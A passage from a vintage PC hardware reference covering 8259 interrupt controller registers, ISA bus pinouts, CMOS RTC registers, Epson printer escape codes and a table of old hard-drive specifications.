```
 00   not buffered
 01   not buffered
 10   buffered mode slave (PC mode)
 11   buffered mode master (PC mode)
```

% Operation Control Word 1 / Interrupt Mask Reg. (Ports 21h & A1h)

```
³7³6³5³4³3³2³1³0³  OCW1 - IMR Interrupt Mask Register
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 0 = service IRQ0, 1 = mask off
 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 0 = service IRQ1, 1 = mask off
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 0 = service IRQ2, 1 = mask off
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 0 = service IRQ3, 1 = mask off
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 0 = service IRQ4, 1 = mask off
 ³ ³ ÀÄÄÄÄÄÄÄÄÄ 0 = service IRQ5, 1 = mask off
 ³ ÀÄÄÄÄÄÄÄÄÄÄ 0 = service IRQ6, 1 = mask off
 ÀÄÄÄÄÄÄÄÄÄÄÄ 0 = service IRQ7, 1 = mask off
```

% Operation Control Word 2 / Interrupt Command Reg. (Ports 20h & A0h)

```
³7³6³5³4³3³2³1³0³  OCW2 - ICR Interrupt Command Register
 ³ ³ ³ ³ ³ ÀÄÁÁÁÄÄÄÄ interrupt request level to act upon
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ must be 0 for OCW2
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ must be 0 for OCW2
 ÀÄÁÁÁÁÄÄÄÄÄÄÄÄÄÄÄÄ EOI type (see table)
```

% Bits
% 765 EOI - End Of Interrupt code (PC specific)

```
001  non-specific EOI command
010  NOP
011  specific EOI command
100  rotate in automatic EOI mode
101  rotate on non-specific EOI command
110  set priority command  (uses bits 2-0)
111  rotate on specific EOI command
```

% Operation Control Word 3 (Ports 20h & A0h)

```
³7³6³5³4³3³2³1³0³  OCW3
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ 1=read IRR on next read, 0=read ISR on next read
 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1=act on value of bit 0, 0=no action if bit 0 set
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1=poll command issued, 0=no poll command issued
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ must be 1 for OCW3
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ must be 0 for OCW3
 ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1=set special mask, 0=reset special mask
 ³ ÀÄÄÄÄÄÄÄÄÄÄ 1=act on value of bit 5, 0=no action if bit 5 set
 ÀÄÄÄÄÄÄÄÄÄÄÄ not used (zero)
```

% Other Registers

IRR - Interrupt Request Register, maintains a bit vector indicating which IRQ hardware events are awaiting service.Highest level interrupt is reset when the CPU acknowledges interrupt.
ISR - In Service Register, tracks IRQ line currently being serviced. Updated by EOI command.

^Hardware Interrupt Sequence of Events:

1. 8259 ~IRQ~ signal is raised high by hardware setting the corresponding IRR bits true.

2. PIC evaluates the interrupt requests and signals the CPU where appropriate.

3. CPU acknowledges the INT by pulsing INTA (inverted)

4. INTA signal from CPU is received by the PIC, which then sets the highest priority ISR bit, and clears the corresponding IRR bit

5. CPU sends a second INTA pulse which causes the PIC to send the interrupt ID byte onto the bus. CPU begins interrupt processing.

6. Interrupts of lower and equal priority are blocked until a Non-Specific EOI (20h) is sent to the command port.

^Initialization Procedure

```
%      Initialization
        1. write ICW1 to port 20h
        2. write ICW2 to port 21h
        3. if ICW1 bit D1=1  do nothing
           if ICW1 bit D1=0  write ICW3 to port 20h
        4. write ICW4 to port 21h
        5. OCW's can follow in any order
```

^8259 Programmable Interrupt Controller Notes

- Operation Command Word (OCW), commands that set the 8259 in various interrupt modes. These can be written to the 8259 anytime after initialization.
- The 8259 differentiates between the OCW1, OCW2 and OCW3 by the port address and the value of the data bits D4 and D3. ICW2 through ICW4 are order related and must follow ICW1.   ICW1 is identified by an even port number and data bit D4 set to 1.
- PCs operate in fully nested mode, where a Non-Specific EOI resets the interrupt identified by the highest bit value in the ISR
- 8259s can be chained together where the INT pin (output) of a slave 8259 can be used as the input to an IRQ line allowing up to 64 priority vectored interrupts. AT level machines use two 8259's for a total of 16 hardware interrupt levels
- the first 8259 ports are located at 20h and 21h
- the second 8259 ports are located at A0h and A1h
- PC and AT interrupts are Edge Triggered while PS/2's are Level Triggered
- some ASIC chips designed for Tandy 1000 Systems malfunction if specific and non-specific EOIs are mixed
- for a more in-depth discussion of the 8259, see Intel's "Micro-processor and Peripherals Handbook, Volume I"

- see ~PORTS~ and ~INT TABLE~

:BUS
^PC, XT and AT 8 bit BUS Structure

```
                         ÚÄÄÄÄÄÄÄÄÄ¿
                   Ground Ä´B1    A1ÃÄ -I/O CH CHK (NMI)
               +Reset DRV Ä´B2    A2ÃÄ +Data 7
                     +5V Ä´B3    A3ÃÄ +Data 6
                   +IRQ2 Ä´B4    A4ÃÄ +Data 5
                     -5V Ä´B5    A5ÃÄ +Data 4
```

```
                 +DRQ2 Ä´B6    A6ÃÄ +Data 3
                  -12V Ä´B7    A7ÃÄ +Data 2
             -CARD SLCTD Ä´B8    A8ÃÄ +Data 1
                  +12V Ä´B9    A9ÃÄ +Data 0
                  Ground Ä´B10  A10ÃÄ +I/O CH RDY
                 -MEMW Ä´B11  A11ÃÄ +AEN
                 -MEMR Ä´B12  A12ÃÄ +Address 19
                  -IOW Ä´B13  A13ÃÄ +Address 18
                  -IOR Ä´B14  A14ÃÄ +Address 17
                  -DACK3 Ä´B15  A15ÃÄ +Address 16
                 +DRQ3 Ä´B16  A16ÃÄ +Address 15
                  -DACK1 Ä´B17  A17ÃÄ +Address 14
                 +DRQ1 Ä´B18  A18ÃÄ +Address 13
           -DACK0 (MREF) Ä´B19  A19ÃÄ +Address 12
                   CLK Ä´B20  A20ÃÄ +Address 11
                 +IRQ7 Ä´B21  A21ÃÄ +Address 10
                 +IRQ6 Ä´B22  A22ÃÄ +Address 9
                 +IRQ5 Ä´B23  A23ÃÄ +Address 8
                 +IRQ4 Ä´B24  A24ÃÄ +Address 7
                 +IRQ3 Ä´B25  A25ÃÄ +Address 6
                  -DACK2 Ä´B26  A26ÃÄ +Address 5
                   +TC Ä´B27  A27ÃÄ +Address 4
                  +ALE Ä´B28  A28ÃÄ +Address 3
                   +5V Ä´B29  A29ÃÄ +Address 2
                  +OSC Ä´B30  A30ÃÄ +Address 1
                  Ground Ä´B31  A31ÃÄ +Address 0
                        ÀÄÄÄÄÄÄÄÄÄÙ
```

^AT 16 Bit BUS Extension

```
                        ÚÄÄÄÄÄÄÄÄÄ¿
               -MEM CS16 Ä´D1    C1ÃÄ SBHE
               -I/O CS16 Ä´D2    C2ÃÄ Address 23
                 IRQ10 Ä´D3    C3ÃÄ Address 22
                 IRQ11 Ä´D4    C4ÃÄ Address 21
                 IRQ12 Ä´D5    C2ÃÄ Address 20
                 IRQ15 Ä´D6    C6ÃÄ Address 19
                 IRQ14 Ä´D7    C7ÃÄ Address 18
                  -DACK0 Ä´D8    C8ÃÄ Address 17
                  DRQ0 Ä´D9    C9ÃÄ -MEMR
                  -DACK5 Ä´D10  C10ÃÄ -MEMW
                  DRQ5 Ä´D11  C11ÃÄ Data 8
                  -DACK6 Ä´D12  C12ÃÄ Data 9
                  DRQ6 Ä´D13  C13ÃÄ Data 10
                  -DACK7 Ä´D14  C24ÃÄ Data 11
                  DRQ7 Ä´D15  C15ÃÄ Data 12
                   +5V Ä´D16  C16ÃÄ Data 13
                 -Master Ä´D17  C17ÃÄ Data 14
                  Ground Ä´D18  C18ÃÄ Data 15
                        ÀÄÄÄÄÄÄÄÄÄÙ
```

- pin numbering starts from the rear of the machine

% Signal Description

A0-A19 Address Bits 0-19 allow access to 1Mb memory and 64K of port addresses.
A17-A23 Address Bits 17-23 allow access from 1Mb memory to 16Mb
AEN Address Enable; When active the DMA controller has control of the Address and Data BUS as well as the MEMR/MEMW lines. When inactive the CPU has control of these lines

```
ALE         Address Latch Enable (output); used to latch addresses
            from the CPU.  Forced active during DMA cycles.
CARD SLCTD   Card Selected; activated by cards in the XT's slot 8
CLK         System clock signal (actual BUS speed)
D0-D7       Data bits 0-7 for I/O to memory and I/O
DACK0-DACK3  DMA Acknowledge for channels 0-3; used by the controller
            to acknowledge DMA requested.  DACK0 is used for memory
            refresh (MREF)
DRQ0-DRQ3    DMA Request 0-3; used by peripherals to get service from
            the DMA controller;  Held active until the corresponding
            DACKx signal becomes active.
I/O CH CHK   I/O Channel Check; Generates a Non Maskable Interrupt
I/O CH RDY   I/O Channel Ready; pulled inactive my memory or I/O
            devices to lengthen memory or I/O cycles. Usually used
            by slower devices to add wait states.  Should not be
            held inactive for more than 17 cycles.
I/O CS16     I/O Chip Select 16 Bit; 16 bit I/O cycle
IOR         I/O Read; instructs an I/O device to drive its data
            onto the system BUS
IOW         I/O Write; instructs an I/O device to read data from
            the BUS
IRQ2-IRQ7    Interrupt Requests 2-7; signals the CPU that an I/O
            device needs service  (see ~8259~)
MASTER           Used with DRQ to gain control of system
MEM CS16     Memory Chip Select 16 Bit; 16 Bit memory cycle
MEMR        Memory Read; this signal is driven by the CPU or DMA
            controller and instructs memory to drive its data onto
            the system BUS.  Present on both PC and AT extension BUS
MEMW        Memory Write;  this signal is driven by the CPU or DMA
            controller and instructs memory to read and store data
            from the system BUS.  Present on both PC and AT
            extension BUS
OSC         Oscillator; 14.31818 MHz clock (70ns period); 50% duty
            cycle
RESET DRV    Reset Drive; used to reset system logic
SBHE        System BUS High Enable; activates data bits 8-15 on AT
            extension BUS
TC          Terminal Count; pulses when the terminal count for a
            DMA channel is reached


- all ISA BUS signals use standard TTL levels
- input and output are relative to the CPU
```

:capacitor values
^Ceramic File Capacitor Color Code Chart

```
%          Color     Digit     Multiplier

           Black   0      1
           Brown   1      10
           Red     2      100        Gold   ñ 5% tolerance
           Orange  3      1,000      Silver   ñ10% tolerance
           Yellow  4      10,000     White       ñ10% tolerance
           Green   5      100,000
           Blue    6      1,000,000
           Violet  7
           Gray    8
           White   9

%          ÕÍÛÛÛÛ°ÛÛ±ÛÛ²ÛÛ°ÛÛ±ÛÛÛÛÍ¸
%          Á                      Á
               ³  ³  ³  ³  ³
               ³  ³  ³  ÀÄÄÄÄÄÄÄÄÄÄÄ tolerance/temperature dependance
```

```
           ³  ³  ÀÄÄÄÄÄÄÄÄÄÄÄ picofarad value multiplier
           ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ first 2 digits of picofarad value
:CMOS RAM:CMOS clock:RTC
^CMOS RTC - Real Time Clock and Memory (ports 70h & 71h)

%     Reg#               Description

       00  RTC seconds
       01  RTC seconds alarm
       02  RTC minutes
       03  RTC minutes alarm
       04  RTC hours
       05  RTC hours alarm
       06  RTC day of week
       07  RTC day of month
       08  RTC month
       09  RTC year
       0A  RTC Status register A:

          ³7³6³5³4³3³2³1³0³  RTC Status Register A
           ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ rate selection Bits for divider output
           ³ ³ ³ ³             frequency (set to 0110 = 1.024kHz, 976.562æs)
           ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 22 stage divider, time base being used;
           ³                    (initialized to 010 = 32.768kHz)
           ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1=time update in progress, 0=time/date available

       0B  RTC Status register B:

          ³7³6³5³4³3³2³1³0³  RTC Status Register B
           ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1=enable daylight savings, 0=disable (default)
           ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1=24 hour mode, 0=12 hour mode (24 default)
           ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1=time/date in binary, 0=BCD (BCD default)
           ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1=enable square wave frequency, 0=disable
           ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1=enable update ended interrupt, 0=disable
           ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ 1=enable alarm interrupt, 0=disable
           ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1=enable periodic interrupt, 0=disable
           ÀÄÄÄÄÄÄÄÄÄÄÄÄ 1=disable clock update, 0=update count normally

       0C  RTC Status register C (read only):

          ³7³6³5³4³3³2³1³0³  RTC Status Register C  (read only)
           ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ reserved (set to 0)
           ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ update ended interrupt enabled
           ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ alarm interrupt enabled
           ³ ÀÄÄÄÄÄÄÄÄÄÄÄ periodic interrupt enabled
           ÀÄÄÄÄÄÄÄÄÄÄÄ IRQF flag

       0D  RTC Status register D (read only):

          ³7³6-0³  RTC Status Register D  (read only)
           ³     ÀÄÄÄÄÄÄ reserved (set to 0)
           ÀÄÄÄÄÄÄÄ 1=CMOS RAM has power, 0=CMOS RAM has lost power

       0E  Diagnostic status byte:

          ³7³6³5³4³3³2³1³0³  Diagnostic Status Byte
           ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ reserved
           ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1=time is invalid, 0=ok (POST validity check)
           ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1=fixed disk 0 failed initialization, 0=ok
           ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ 1=memory size doesn't match config info, 0=ok
           ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1=invalid config info found, 0=ok (see below)
           ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄ 1=config record checksum is bad, 0=ok
           ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1=RTC lost power, 0=power state stable
```

```
0F  Shutdown status byte:

      0  soft reset or unexpected shutdown
      1  shut down after memory size determination
      2  shut down after memory test
      3  shut down with memory error
      4  shut down with boot loader request
      5  JMP DWORD request with INT init
      6  protected mode test 7 passed
      7  protected mode test 7 failed
      8  protected mode test1 failed
      9  block move shutdown request
      A  JMP DWORD request without INT init

10  Diskette drive type for A: and B:

   ³7³6³5³4³3³2³1³0³  Diskette drive type for A: and B:
    ³  ³  ³  ³ ÀÄÁÄÁÄÁÄÁÄÄÄ second diskette type
    ÀÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄ first diskette type

     0000  no drive installed
     0001  DSDD 48 TPI drive
     0010  DSQD 96 TPI drive
     other values are reserved

11  Reserved
12  Fixed disk drive type for drive 0 and drive 1

   ³7³6³5³4³3³2³1³0³  Diskette drive type for A: and B:
    ³  ³  ³  ³ ÀÄÁÄÁÄÁÄÁÄÄÄ second hard disk drive code (0000=no disk)
    ÀÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄ first hard disk drive code (0000=no disk)

13  Reserved
14  Equipment byte

   ³7³6³5³4³3³2³1³0³  Equipment byte
    ³  ³  ³  ³  ³  ³  ³ ÀÄÄÄÄ 1=diskette drives installed, 0=none
    ³  ³  ³  ³  ³  ³ ÀÄÄÄÄÄ 1=math coprocessor installed, 0=none
    ³  ³  ³  ³ ÀÄÁÄÄÄÄÄÄ unused
    ³  ³ ÀÄÁÄÄÄÄÄÄÄÄ primary display
    ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄ number of diskette drives installed

%         Bits                Bits
%          54  Primary Display     76  Number of Drives
           00  reserved       00  1 diskette drive
           01  40 column color     01  2 diskette drives
           10  80 column color     10  reserved
           11  monochrome          11  reserved

15  LSB of system base memory in 1k blocks
16  MSB of system base memory in 1k blocks
17  LSB of total extended memory in 1k blocks
18  MSB of total extended memory in 1k blocks
19  Drive C extension byte (reserved AT)
1A  Drive D extension byte (reserved AT)
1B  13 bytes reserved
2E  CMOS checksum of bytes 10h-20h (MSB)
2F  CMOS checksum of bytes 10h-20h (LSB)
30  LSB of extended memory size found above 1 megabyte during POST
31  MSB of extended memory size found above 1 megabyte during POST
32  Date century byte in BCD ( BIOS interface to read and set)
33  Information flags (set during power-on)
```

```
    ³7³6³5-0³  Information Flags
     ³ ³  ÀÄÄÄÄÄ reserved
     ³ ÀÄÄÄÄÄÄÄÄ initial setup message flag
     ÀÄÄÄÄÄÄÄÄÄ 1=IBM 128k expansion installed, 0=none

 34  12 bytes reserved


%     Programming Considerations:

      Write CMOS address to read or write to port 70h
      Read/write port 71h to get/set data


      - the information here is only applicable to AT and PS/2 systems
      - INT 1A is used to read/set the Time of Day and Alarm.  To use the
        alarm, INT 4A must be a valid interrupt service routine.
      - configuration settings are maintained using the Motorola MC146818
        Real Time Clock.  Each of this chips 64 memory registers is used
        for storage (0-3F).
      - Bit 5 of the diagnostic (0Eh) status byte is set during a power
        on test.  This Bit is set if no floppy disks are found or the
        display doesn't match the system display switch setting.
      - all addresses sent to port 70h have Bits 7&6 clear since Bit 7
        of port 70h is used to enable/disable NMI.  Setting this Bit 7
        enables NMI, clearing this Bit disables NMI.
      - when masking the NMI through using port 70H, port 71H should be
        read immediately after or the RTC may be left in an unknown state.
        This wont affect the PS/2 watchdog timer or system channel timeout.

      - see ~INT 1A~
:Epson printer codes
^Epson FX Printer Codes

%     Printer Operation:
%     Decimal      ASCII              Description
       7          BEL      Beeper
      17          DC1      Select printer
      19          DC3      Deselect printer
      27 25 48      ESC EM 0     Turn cut sheet feeder control off
      27 25 52      ESC EM 4     Turn cut sheet feeder control on
      27 56       ESC 8    Disable paper out sensor
      27 57       ESC 9    Enable paper out sensor
      27 60       ESC <    Select unidirectional mode for one line
      27 64       ESC @    Initialize printer
      27 85 48      ESC U 0      Cancel unidirectional mode
      27 85 49      ESC U 1      Select unidirectional mode
      27 115 48     ESC s 0      Turn half speed mode off
      27 115 49     ESC s 1      Turn half speed mode on

%     Vertical/Horizontal Motion:
%     Decimal      ASCII              Description
       8          BS       Backspace
       9          HT       Horizontal tab
      10          LF       Line Feed
      11          VT       Vertical Tab
      12          FF       Form Feed
      27 47 c       ESC / c      Select vertical tab channel (c=0..7)
      27 48       ESC 0    Select 8 lines per inch
      27 49       ESC 1    Select 7/72 inch line spacing
      27 50       ESC 2    Select 6 lines per inch
      27 51 n       ESC 3 n      Select n/216 inch line spacing (n=0..255)
```

```
      27 65 n      ESC A n     Select n/72 inch line spacing (n=0..85)
      27 66 0      ESC B NUL   Clear Vertical tabs
      27 66 tabs   ESC B tabs   Select up to 16 vertical tabs where tabs are
                         ascending values from 1..255 ending with NUL
      27 67 n      ESC C n     Select page length in lines (n=1..127)
      27 67 48 n   ESC C 0 n   Select page length in inches (n=1..22)
      27 68 0      ESC D NUL   Clears all horizontal tables
      27 68 tabs 0 ESC D tabs NUL  Sets up to 32 horizontal tabs with
                         ascending values 1-137.  NUL or a value
                         less than previous tab ends command.
      27 74 n      ESC J n     Immediate n/216 inch line feed (n=0..255)
      27 78 n      ESC N n     Select skip over perforation (n=1..127)
      27 79      ESC O    Cancel skip over perforation
      27 81 n      ESC Q n     Set right margin (n=column)
      27 98 b c 0  ESC b c NUL  Clear vertical tabs in channel (c=0..7)
      27 98 c tabs ESC b c tabs Select up to 16 vertical tabs in channels
                         (c=0..7) where tabs are ascending values
                         from 1..255 ending with NUL
      27 101 48 s  ESC e 0 s   Set horizontal tab to increments of 's'
      27 101 49 s  ESC e 1 s   Set vertical tab to increments of 's'
      27 102 48 s  ESC f 0 s   Set horizontal skip to increments of 's'
      27 102 49 s  ESC f 1 s   Set vertical skip to increments of 's'
      27 106 n     ESC j n     Reverse linefeed (n/216 inch after buffer)
      27 108 n     ESC l n     Set left margin (n=column)

%     Printing Style:
%     Decimal      ASCII              Description
      27 33 n      ESC ! n     Master select where n is a combination of:
                           0  Pica        16  Double Strike
                           1  Elite            32  Double Wide
                           4  Condensed   64  Italic
                           8  Emphasized 128  Underline
                         Pica & Elite and Condensed/Emphasized are
                         mutually exclusive
      27 107 48    ESC k 0     Select NLQ Roman font
      27 107 49    ESC k 1     Select NLQ Sans Serif font
      27 120 48    ESC x 0     Select draft mode
      27 120 49    ESC x 1     Select NLQ mode

%     Print Size and Character Width:
%     Decimal     ASCII         Description
      14         SO            Select double width for one line
      15         SI            Select condensed mode
      18         DC2      Cancel condensed mode
      20         DC4      Cancel one line double width mode
      27 14      ESC SO   Double width for one line (duplicate)
      27 15      ESC SI   Select condensed mode (duplicate)
      27 77      ESC M    Select elite width (12 cpi)
      27 80      ESC P    Select pica width (10 cpi)
      27 87 48    ESC W 0      Cancel double width mode
      27 87 49    ESC W 1      Select double width mode

%     Print Enhancement:
%     Decimal     ASCII         Description
      27 45 48    ESC - 0      Cancel underlining
      27 45 49    ESC - 1      Select underlining
      27 69      ESC E    Select emphasized mode
      27 70      ESC F    Cancel emphasized mode
      27 71      ESC G    Select double strike mode
      27 72      ESC H    Cancel double strike mode
      27 83 48    ESC S 0      Select superscript
      27 83 49    ESC S 1      Select subscript
      27 84      ESC T    Cancel superscript/subscript
```

```
%     Character Sets:
%     Decimal     ASCII         Description
      27 52     ESC 4     Select italic mode
      27 53     ESC 5     Cancel italic mode
      27 54     ESC 6     Enable printing of characters (128-159,255)
      27 55     ESC 7     Cancel [ESC 6] command
      27 82 n     ESC R n      Select International character set where
                          numeric 'n' is:
                            0  USA          7  Spain I
                            1  France            8  Japan
                            2  Germany           9  Norway
                            3  United Kingdom    10  Denmark II
                            4  Denmark I   11  Spain II
                            5  Sweden           12  Latin America
                            6  Italy
      27 116 0    ESC t NUL    Select italic character set
      27 116 1    ESC t SOH    Select Epson character set

%     User Defined Characters:
%     Decimal          ASCII            Description
      27 37 0      ESC % NUL       Selects normal character set
      27 37 1      ESC % SOH       Selects user defined set
      27 38 0      ESC & NUL ?     Select user defined chars (see manual)
      27 58 0 0 0  ESC : NUL NUL NUL     Copy ROM into RAM

%     Graphics Character Sets:
%     Decimal          ASCII            Description
      27 42 0 n1 n2  ESC * NUL n1 n2     Select single density graphics
      27 42 1 n1 n2  ESC * SOH n1 n2     Select double density graphics
      27 63 s n      ESC ? s n     Reassign graphics mode
                               's'=(K,L,Y or Z) to mode 'n'=(0..6)
      27 75 n1 n2    ESC K n1 n2   Single density graphics (60 dpi)
      27 76 n1 n2    ESC L n1 n2   Double density graphics (120 dpi)
      27 89 n1 n2    ESC Y n1 n2   Hi-speed double den graphics (120 dpi)
      27 90 n1 n2    ESC Z n1 n2   Quad density graphics (240 dpi)
      27 94 m n1 n2  ESC ^ m n1 n2 Select 9 pin graphics mode

      number of columns = n1 + (n2 * 256)

%     Other:
%     Decimal      ASCII               Description
       13        CR       Carriage Return
       24        CAN      Cancel text in line (but not control codes)
      127        DEL      Delete character (but not control codes)
       27 32 n      ESC SP n     Space in n/72 inch following each NLQ char
       27 35           ESC #    MSB control sequence cancel
       27 36           ESC $    Select absolute dot position
       27 61           ESC =    MSB = 0
       27 62           ESC >    MSB = 1
       27 73 48    ESC I 0      Cancel above [ESC I 1]
       27 73 49    ESC I 1      Printable codes expansion (0-31,128-159)
       27 92           ESC \    Select relative dot position
       27 97      n    ESC a n       NLQ justification where numeric 'n' is:
                            0  left justification  (default)
                            1  center
                            2  right justification
                            3  full justification
       27 112      ESC p        Select/cancel proportional mode


      - the codes listed are relative to the Epson LX 800
      - in several situations where a numeric value of zero or one is
```

```
        required, the ASCII value of the number can be substituted
:hard disks drives:drive specifications:disk drives:hard drives
^Hard Drive Specifications

%                                 Avg          Miscellaneous
%   Manufacturer      MB    Cyl  Hds Access      Information

    Alloy ID-160     125               30
    Atasi AT3020         635   3     Wedge servo
    Atasi AT3033         635   5     Wedge servo
    Atasi AT3046         635   7
    Atasi AT3051         703   7
    Atasi AT3085        1024   8
    Bull D530                  987   3
    Bull D550                  987   5
    Bull D570                  987   7
    Bull D585                  987   7
    Bull D530                 1166   3
    CDC Wren I 9415-21         697   3     STnn, MFM, Voice coil
    CDC Wren I 9415-36         697   5     STnn, MFM, Voice coil
    CDC Wren II 9415-25        615   4     STnn, MFM, Voice coil
    CDC Wren II 9415-30        989   3     STnn, MFM, Voice coil
    CDC Wren II 9415-38        733   5     STnn, MFM, Voice coil
    CDC Wren II 9415-48        925   5     STnn, MFM, Voice coil
    CDC Wren II 9415-51     42    989   5    28  STnn, MFM, Voice coil
    CDC Wren II 9415-67        925   7     STnn, MFM, Voice coil
    CDC Wren II 9415-86     69    925   9  STnn, MFM, Voice coil
    CDC Wren II 9416-182   144    969   9  STnn, MFM, Voice coil
    CDC Wren V                 380  15    16   ESDI/SCSI, FH
    CDC Wren V                 702  15    16   ESDI/SCSI, FH
    CDC Wren VI                766  15   16.5  ESDI/SCSI, FH
    CDC Wren VII    1.2G            15   16.5  SCSI, FH
    CMI CM3426                 612   4
    CMI CM5205                 256   4
    CMI CM5410                 256   4
    CMI CM5616                 256   4
    CMI CM6426                 615   4
    CMI CM6426S                640   4
    CMI CM6640                 640   4
    CMS F40-K                    42   1024   5    22   STnn, MFM, Voice coil
    CMS F60-K                    42   1024   7   STnn, MFM, Voice coil
    CMS F70-K                    42   1024   8   STnn, MFM, Voice coil
    CMS F80-K                    42   1024   9   STnn, MFM, Voice coil
    Columbia SCSI    42    834   3    19   SCSI, RLL, Band stepper
    Core AT40F                   40    564   4    10   ESDI, MFM, Voice coil
    Core AT43                    43    988   5    20   STnn, MFM, Voice coil
    Core HC150            150   1024+       18   ESDI
    Emerald DOS 150-3000   150   1024+           ESDI
    Emulex ATS-170        142   1022             SCSI & ESDI
    Emulex ATS-380        310   1222             SCSI & ESDI
    FlashCard 49     49    615   6    28   STnn, RLL, Voice coil
    Fuji 302-13                  10    612   2
    Fuji 302-26                  20    612   4
    Fujitsu M2230AS            320   2
    Fujitsu M2233AS         10    320   4
    Fujitsu M2234AS            320   6
    Fujitsu M2235AS         21    320   8    56
    Fujitsu M2241AS              754   4
    Fujitsu M2242AS         43    754   7    33   STnn, MFM, Voice coil
    Fujitsu M2243AS         72    754  11    33   STnn, MFM, Voice coil
    Fujitsu M2263   778u            14    16   ESDI/SCSI, FH
    Hitachi DK511-5       699              7
    Hitachi DK511-8       823         10
```

Hitachi DK515C-78 780u 8 16 SCSI, FH
Hitachi DK515-78 780u 8 16 ESDI, FH
IMI 5006H 306 2
IMI 5012H 306 4
IMI 5018H 306 6
Imprimis (see CDC)
Irwin 416 819 2
Irwin 510 628 2 HD/tape
Irwin 516 819 2 HD/tape
Irwin 561 180 4
Kalok KL320 26u 615 4 40 STnn, MFM, Band stepper
Kalok KL330 38u 615 4 40 STnn, RLL, Band stepper
Maxtor XT1065 52 918 7 28 STnn, Voice coil
Maxtor XT1085 68 1024 8 28 STnn, Voice coil
Maxtor XT1105 83 918 11 28 STnn, Voice coil
Maxtor XT1140 112 918 15 28 STnn, Voice coil
Maxtor XT1190 150 1224 28 STnn, Voice coil
Maxtor XT2085 1224 7 28 STnn, Voice coil
Maxtor XT2140 1224 11 STnn, Voice coil
Maxtor XT2190 160 1224 15 STnn, Voice coil
Maxtor XT4170E 179u 1224 7 14 ESDI, MFM, FH Voice coil
Maxtor XT4230E 231u 1224 9 16 ESDI, MFM, FH Voice coil
Maxtor XT4380E 384u 1224 15 16 ESDI, MFM, FH Voice coil
Maxtor XT4380S 384u 1224 16 SCSI, MFM, FH Voice coil
Maxtor XT8380E 410u 14.5 ESDI, FH
Maxtor XT8380S 410u 14.5 SCSI, FH
Maxtor XT8760E 768u 16.5 ESDI, FH
Maxtor XT8760S 768u 16.5 SCSI, FH
Micropolis 1302 830 3
Micropolis 1303 830 5
Micropolis 1304 830 6
Micropolis 1323 1024 4
Micropolis 1323A 1024 5
Micropolis 1324 1024 6
Micropolis 1324A 1024 7
Micropolis 1325 1024 8
Micropolis 1333A 44 1024 5 28 STnn, MFM, Voice coil
Micropolis 1335 71 1024 8 30
Micropolis 1355 142 1022
Micropolis 1518 1.2Gu 15 14 ESDI, FH
Micropolis 1558 382u 15 18 ESDI, FH
Micropolis 1568 765u 15 16 ESDI, FH
Micropolis 1578 382u 15 18 SCSI, FH
Micropolis 1588 765u 15 16 SCSI, FH
Micropolis 1598 1.2Gu 15 14 SCSI, FH
Microscience HH312 10 306 4
Microscience HH325 20 612 4
Microscience HH612 10 306 4
Microscience HH725 21 612 4 Band stepper
Microscience HH1050 44 1024 5 28 STnn, MFM, Voice coil
Miniscribe 1006 306 2
Miniscribe 1012 306 4
Miniscribe 2006 306 2
Miniscribe 3012 10 612 4
Miniscribe 3053 44 1024 6 25 STnn, MFM, Voice coil
Miniscribe 3212 10 612 4
Miniscribe 3412 306 4
Miniscribe 3425 20 615 4
Miniscribe 3438 31.2 615 4
Miniscribe 3650 50u 809 6 61 STnn, MFM, linear drive
Miniscribe 3650F 50u 809 6 46 STnn, MFM, linear drive
Miniscribe 3675 75u 809 6 61 STnn, MFM, linear drive
Miniscribe 4010 480 2

Miniscribe 4020   480   4
Miniscribe 6032   26   1024   3
Miniscribe 6053   43   1024   5   28   STnn, MFM, FH Voice coil
Miniscribe 6085   71   1024   8
Miniscribe 6128   104   1024   8
Miniscribe 8051A   51u   745   4   28   STnn, MFM, Voice coil
Miniscribe 8212   615   2
Miniscribe 8425   20   615   4 STnn, MFM, 3«
Miniscribe 8438   31.2   615   4
Miniscribe 9380E   382u 1224 15   16   ESDI, RLL, FH Voice coil
Miniscribe 9380S   382u 1224 15   16   SCSI, RLL, FH Voice coil
Miniscribe 9780E   781u   15   17   ESDI, FH Voice coil
Mitsubisi MR535   42   981   6 STnn, MFM, 5¬ Voice coil
NEC D5662   385u   18   ESDI, FH
NEC D5682   765u   18   16   ESDI, FH
NEC D5862   385u   18   SCSI, FH
NEC D5882   765u   18   16   SCSI, FH
NEC 5124   310   4
